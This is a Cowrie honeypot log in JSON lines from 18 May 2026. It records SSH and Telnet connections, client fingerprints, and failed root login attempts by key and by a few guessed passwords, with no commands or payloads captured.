{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:44:0a:19:67:ff:58:9f:c7:ac:18:dd:1a:45:fe:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG9gDaP3WuWqAhWZTxYsVgStMDJ5E9UHymSGkbkCJ2Nu4DISXLOE1i1MrtqZbBww7KojA4fYTUNxswX2OfhGhSO9HlEY/Rtvd39Uk7xu3Tuf6FX5V32WOZxBNNf6NGtKxRv9s4fr2Y3FpEb7bwuQOwzTJjcZaTkI5V/gPcfMyZnq9POnaUduz4X3IyeV5MkkCEdpklheXiwMREBksFzUDPI03YrRjjzqAcz/xXWhKJbg9V3a3f9BIF3TAK0drAw1YzdJO+/2fOjzq38POPoJo0Z5AsoMsTg+bT8iPXIfj8+y9tbpdGwb86v/qiEUAGYblyXNDKK8mfz7xCcA5c2mJH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:44:0a:19:67:ff:58:9f:c7:ac:18:dd:1a:45:fe:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.521605Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:44:0a:19:67:ff:58:9f:c7:ac:18:dd:1a:45:fe:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG9gDaP3WuWqAhWZTxYsVgStMDJ5E9UHymSGkbkCJ2Nu4DISXLOE1i1MrtqZbBww7KojA4fYTUNxswX2OfhGhSO9HlEY/Rtvd39Uk7xu3Tuf6FX5V32WOZxBNNf6NGtKxRv9s4fr2Y3FpEb7bwuQOwzTJjcZaTkI5V/gPcfMyZnq9POnaUduz4X3IyeV5MkkCEdpklheXiwMREBksFzUDPI03YrRjjzqAcz/xXWhKJbg9V3a3f9BIF3TAK0drAw1YzdJO+/2fOjzq38POPoJo0Z5AsoMsTg+bT8iPXIfj8+y9tbpdGwb86v/qiEUAGYblyXNDKK8mfz7xCcA5c2mJH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.525781Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:7b:72:2d:26:5b:4f:0d:d1:d0:88:21:0e:dd:72:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfpdxNy01Xcp8s8kkhQIB4riIIqmcjOGlKtPShf33W+6RGfxbPsYnCzsqGQKj/V6cwvkOQIrKfmbOYt/Rtld+GdMPpVBjEjXYRstvs/cjlXLBDvmWV/Y0igsaEFa4S2c0Or7TtzFVhfobnjipuwAhCTXcOFSNhFgSj1WyU5DRkpPwbkKo2Mk4+lGDiG9NTDKrSg5uUNBeJSrgevGq97XVtLY9b9tHy1CM3BbVDefnwsHw7DDj04LZ76qWnQziVF+c6N3OkEpvoubdCFMn9enWnfFOLkKp0TmtxSAMv4mbJy3IwflNwnamTMBDsq35vKGehXR573Hh2sIdkRmTbbdGvWY0uICVXWOZL1KCVWCY38tXlAjkRzF3ewIqxwrENOJbRbl97ydzEaK2xyL+Xppl0Hn6fgrXJtUX6xsJC/b0A5H0IXMnLaWNW6XS3MYui2MAE1f9LZG8KhjOuXAv2zAn1341vCeY6DM3TmdYFqYPsWwNS6MujF/h4dUP+E5t0e0c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:7b:72:2d:26:5b:4f:0d:d1:d0:88:21:0e:dd:72:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.653381Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:7b:72:2d:26:5b:4f:0d:d1:d0:88:21:0e:dd:72:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfpdxNy01Xcp8s8kkhQIB4riIIqmcjOGlKtPShf33W+6RGfxbPsYnCzsqGQKj/V6cwvkOQIrKfmbOYt/Rtld+GdMPpVBjEjXYRstvs/cjlXLBDvmWV/Y0igsaEFa4S2c0Or7TtzFVhfobnjipuwAhCTXcOFSNhFgSj1WyU5DRkpPwbkKo2Mk4+lGDiG9NTDKrSg5uUNBeJSrgevGq97XVtLY9b9tHy1CM3BbVDefnwsHw7DDj04LZ76qWnQziVF+c6N3OkEpvoubdCFMn9enWnfFOLkKp0TmtxSAMv4mbJy3IwflNwnamTMBDsq35vKGehXR573Hh2sIdkRmTbbdGvWY0uICVXWOZL1KCVWCY38tXlAjkRzF3ewIqxwrENOJbRbl97ydzEaK2xyL+Xppl0Hn6fgrXJtUX6xsJC/b0A5H0IXMnLaWNW6XS3MYui2MAE1f9LZG8KhjOuXAv2zAn1341vCeY6DM3TmdYFqYPsWwNS6MujF/h4dUP+E5t0e0c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.657742Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.786410Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38728,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ff138cddcc3","protocol":"telnet","message":"New connection: 152.42.224.71:38728 (10.17.0.5:23) [session: 5ff138cddcc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:54.062320Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37776,"dst_ip":"159.203.135.109","dst_port":22,"session":"71ed5a79b2e1","protocol":"ssh","message":"New connection: 103.153.68.219:37776 (159.203.135.109:22) [session: 71ed5a79b2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:57.972751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:57.976878Z","src_ip":"103.153.68.219","session":"71ed5a79b2e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:58.230287Z","src_ip":"103.153.68.219","session":"71ed5a79b2e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima123","message":"login attempt [root/dima123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:58.987110Z","src_ip":"103.153.68.219","session":"71ed5a79b2e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:00.243431Z","src_ip":"103.153.68.219","session":"71ed5a79b2e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":22276,"dst_ip":"10.17.0.5","dst_port":22,"session":"395275f646a0","protocol":"ssh","message":"New connection: 171.244.201.80:22276 (10.17.0.5:22) [session: 395275f646a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:02.171700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:02.183888Z","src_ip":"171.244.201.80","session":"395275f646a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:02.436501Z","src_ip":"171.244.201.80","session":"395275f646a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig!12345","message":"login attempt [root/k0nig!12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:03.449194Z","src_ip":"171.244.201.80","session":"395275f646a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.939515113830566,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:03.533718Z","src_ip":"152.42.224.71","session":"fcadfe1c5aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:04.697766Z","src_ip":"171.244.201.80","session":"395275f646a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.365073442459106,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:17.057683Z","src_ip":"152.42.224.71","session":"0a633821fbae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":56282,"dst_ip":"10.17.0.5","dst_port":22,"session":"35bddbd71d56","protocol":"ssh","message":"New connection: 196.189.237.92:56282 (10.17.0.5:22) [session: 35bddbd71d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:18.272071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:18.276472Z","src_ip":"196.189.237.92","session":"35bddbd71d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:18.447988Z","src_ip":"196.189.237.92","session":"35bddbd71d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1932","message":"login attempt [root/1932] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:19.143378Z","src_ip":"196.189.237.92","session":"35bddbd71d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:20.313302Z","src_ip":"196.189.237.92","session":"35bddbd71d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":37574,"dst_ip":"159.203.135.109","dst_port":22,"session":"371348ec386c","protocol":"ssh","message":"New connection: 103.27.238.120:37574 (159.203.135.109:22) [session: 371348ec386c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:22.480618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:22.485753Z","src_ip":"103.27.238.120","session":"371348ec386c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:24.789881Z","src_ip":"103.27.238.120","session":"371348ec386c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43496,"dst_ip":"10.17.0.5","dst_port":23,"session":"d007be5f3df7","protocol":"telnet","message":"New connection: 152.42.224.71:43496 (10.17.0.5:23) [session: d007be5f3df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:33.566416Z"}
{"eventid":"cowrie.session.closed","duration":48.507564067840576,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:38.513355Z","src_ip":"152.42.224.71","session":"b92abc61f0e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48792,"dst_ip":"10.17.0.5","dst_port":23,"session":"9de3c0bd0ad1","protocol":"telnet","message":"New connection: 152.42.224.71:48792 (10.17.0.5:23) [session: 9de3c0bd0ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:38.635870Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48798,"dst_ip":"10.17.0.5","dst_port":23,"session":"55bba5ba4f77","protocol":"telnet","message":"New connection: 152.42.224.71:48798 (10.17.0.5:23) [session: 55bba5ba4f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:39.802253Z"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:42.481997Z","src_ip":"103.27.238.120","session":"371348ec386c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.80192303657532,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:47.864131Z","src_ip":"152.42.224.71","session":"5ff138cddcc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35452,"dst_ip":"10.17.0.5","dst_port":23,"session":"574cd4864b33","protocol":"telnet","message":"New connection: 152.42.224.71:35452 (10.17.0.5:23) [session: 574cd4864b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:51.235814Z"}
{"eventid":"cowrie.session.closed","duration":13.46254849433899,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:52.098298Z","src_ip":"152.42.224.71","session":"9de3c0bd0ad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35460,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea7f84db896","protocol":"telnet","message":"New connection: 152.42.224.71:35460 (10.17.0.5:23) [session: 6ea7f84db896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:52.131496Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":34674,"dst_ip":"10.17.0.5","dst_port":22,"session":"59915e86d13c","protocol":"ssh","message":"New connection: 147.45.197.250:34674 (10.17.0.5:22) [session: 59915e86d13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:54.494778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:54.499885Z","src_ip":"147.45.197.250","session":"59915e86d13c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:54.591857Z","src_ip":"147.45.197.250","session":"59915e86d13c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19981","message":"login attempt [root/19981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:54.893734Z","src_ip":"147.45.197.250","session":"59915e86d13c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.22.253.108","src_port":54176,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5e93439abe3","protocol":"telnet","message":"New connection: 186.22.253.108:54176 (159.203.135.109:23) [session: d5e93439abe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:55.602692Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:35:55.987849Z","src_ip":"147.45.197.250","session":"59915e86d13c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36914,"dst_ip":"10.17.0.5","dst_port":23,"session":"133232611948","protocol":"telnet","message":"New connection: 152.42.224.71:36914 (10.17.0.5:23) [session: 133232611948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:05.319479Z"}
{"eventid":"cowrie.session.closed","duration":13.383174657821655,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:08.985790Z","src_ip":"186.22.253.108","session":"d5e93439abe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.14890909194946,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:15.951107Z","src_ip":"152.42.224.71","session":"55bba5ba4f77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00233864784241,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:21.289660Z","src_ip":"152.42.224.71","session":"b24b2f3662fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.62526869773865,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:24.191596Z","src_ip":"152.42.224.71","session":"d007be5f3df7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.09423804283142,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:24.329950Z","src_ip":"152.42.224.71","session":"574cd4864b33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.88934063911438,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:29.208666Z","src_ip":"152.42.224.71","session":"133232611948","protocol":"telnet"}
